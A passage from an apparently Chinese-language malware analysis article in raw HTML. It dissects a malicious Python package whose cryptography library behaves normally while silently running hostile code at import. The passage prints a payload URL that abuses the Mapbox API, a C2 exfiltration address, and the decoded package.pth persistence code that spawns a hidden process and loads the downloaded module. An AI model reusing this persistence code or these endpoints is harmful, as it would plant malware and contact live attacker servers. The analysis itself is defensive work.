Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4.4 正常功能伪装</span></h3><p style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px;color: rgb(62, 62, 62);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">cryptography.so</span></code><span leaf=""> 也提供了正常的加密/解密功能供 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">logcrypt.core</span></code><span leaf=""> 使用：</span></p><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span leaf="">&#34;Encrypt message using RC4 + Base64&#34;  -&gt; encrypt_message() 供加密日志使用</span><span leaf=""><br/></span><span leaf="">&#34;Decrypt message using RC4 + Base64&#34;  -&gt; decrypt_message() 供解密日志使用</span><span leaf=""><br/></span></code></pre><p style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px;color: rgb(62, 62, 62);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这使得该库在正常使用时表现完全正常，只在 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">PyInit_cryptography()</span></code><span leaf=""> 初始化时静默执行恶意操作。</span></p><hr style="box-sizing: border-box;margin: 24px 0px;padding: 0px;color: inherit;border-width: 0px 0px 1px;border-right-style: initial;border-bottom-style: solid;border-left-style: initial;border-right-color: initial;border-bottom-color: rgba(0, 0, 0, 0.1);border-left-color: initial;border-image: initial;border-top-style: initial;border-top-color: initial;opacity: 0.25;height: 0px;background-color: rgb(234, 236, 239);transform-origin: 0px 0px;transform: scale(1, 0.5);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 20px;text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5. 恶意载荷详解</span></h2><h3 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 1.38em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5.1 https.py（从 mapbox API 下载的远程载荷）</span></h3><p style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px;color: rgb(62, 62, 62);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">根据 GitHub Issue <a class="wx_topic_link" topic-id="mn72iroe-4fitwa" style="color: #576B95 !important;" data-topic="1" data-recommend="">#22</a> 的分析，该脚本从以下 URL 下载并执行远程代码：</span></p><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span leaf=""><a href="https://api.mapbox.com/datasets/v1/mattallahsaed/cmismaye7000s1mp2v8fkn4lp/" target="_blank">https://api.mapbox.com/datasets/v1/mattallahsaed/cmismaye7000s1mp2v8fkn4lp/</a></span><span leaf=""><br/></span><span leaf="">features/dm370543acmdopk296nahbtua?access_token=pk.eyJ1IjoibWF0dGFsbGFoc2FlZCIs</span><span leaf=""><br/></span><span leaf="">ImEiOiJjbWlzbWpncWkwNHRmM2ZzMWd1eTBmanQ4In0.VNFutzqzaSVfDiwQFr7_gQ</span><span leaf=""><br/></span></code></pre><blockquote style="box-sizing: border-box;margin: 1em 0px;padding: 4px 0px 0px 10px;color: rgb(154, 154, 154);border-left: 3px solid rgb(219, 219, 219);line-height: 1.6;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">[!WARNING]</span><span leaf=""><br/></span><span leaf="">攻击者利用 mapbox 的合法 GeoJSON API 作为恶意载荷分发渠道，绕过基于域名黑名单的安全检测。</span></p></blockquote><h3 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 1.38em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5.2 pozos.py（数据外泄模块）</span></h3><p style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px;color: rgb(62, 62, 62);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">负责将窃取的数据上传到 C2 服务器：</span></p><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span leaf=""><a href="http://139.99.54.58:8088/api/v2/uswwwkuch2w2hwcg" target="_blank">http://139.99.54.58:8088/api/v2/uswwwkuch2w2hwcg</a></span><span leaf=""><br/></span></code></pre><h3 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 1.38em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5.3 package.pth（持久化机制）</span></h3><p style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px;color: rgb(62, 62, 62);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在 Python </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">site-packages/</span></code><span leaf=""> 目录下创建 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">package.pth</span></code><span leaf=""> 文件，利用 Python 的 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">.pth</span></code><span leaf=""> 文件自动执行机制实现持久化：</span></p><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># package.pth 中嵌入的 base64 解码后的代码：</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> os, sys, subprocess</span><span leaf=""><br/></span><span leaf="">env = os.environ.copy()</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 通过环境变量互斥锁防止重复执行</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">if</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;ZEBUWIAKGPHOQAP006&#34;</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">in</span></span><span leaf=""> env </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">and</span></span><span leaf=""> env[</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;ZEBUWIAKGPHOQAP006&#34;</span></span><span leaf="">] == </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;PTsjBGKQUxZorq2&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">if</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;JKHWQVEKRASDF12&#34;</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">not</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">in</span></span><span leaf=""> env:</span><span leaf=""><br/></span><span leaf="">        os.environ[</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;JKHWQVEKRASDF12&#34;</span></span><span leaf="">] = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;JKHKJ23VAS8DF9&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> https              </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 加载远程下载的恶意模块</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    env[</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;ZEBUWIAKGPHOQAP006&#34;</span></span><span leaf="">] = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;PTsjBGKQUxZorq2&#34;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># CREATE_NO_WINDOW = 0x08000000（Windows 隐藏窗口创建）</span></span><span leaf=""><br/></span><span leaf="">        subprocess.Popen([sys.executable], creationflags=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">0x08000000</span></span><span leaf="">, env=env)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">except</span></span><span leaf=""> OSError:</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">pass</span></span><span leaf=""><br/></span></code></pre><p style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px;color: rgb(62, 62, 62);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">持久化原理：</span></strong><span leaf=""> Python 启动时会自动扫描 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">site-packages/</span></code><span leaf=""> 中的 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">.pth</span></code><span leaf=""> 文件，如果某行以 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">import</span></code><span leaf=""> 开头，Python 会自动执行该行代码。因此每次 Python 启动都会触发恶意代码。</span></p><hr style="box-sizing: border-box;margin: 24px 0px;padding: 0px;color: inherit;border-width: 0px 0px 1px;border-right-style: initial;border-bottom-style: solid;border-left-style: initial;border-right-color: initial;border-bottom-color: rgba(0, 0, 0, 0.1);border-left-color: initial;border-image: initial;border-top-style: initial;border-top-color: initial;opacity: 0.25;height: 0px;background-color: rgb(234, 236, 239);transform-origin: 0px 0px;transform: scale(1, 0.5);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 20px;text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino 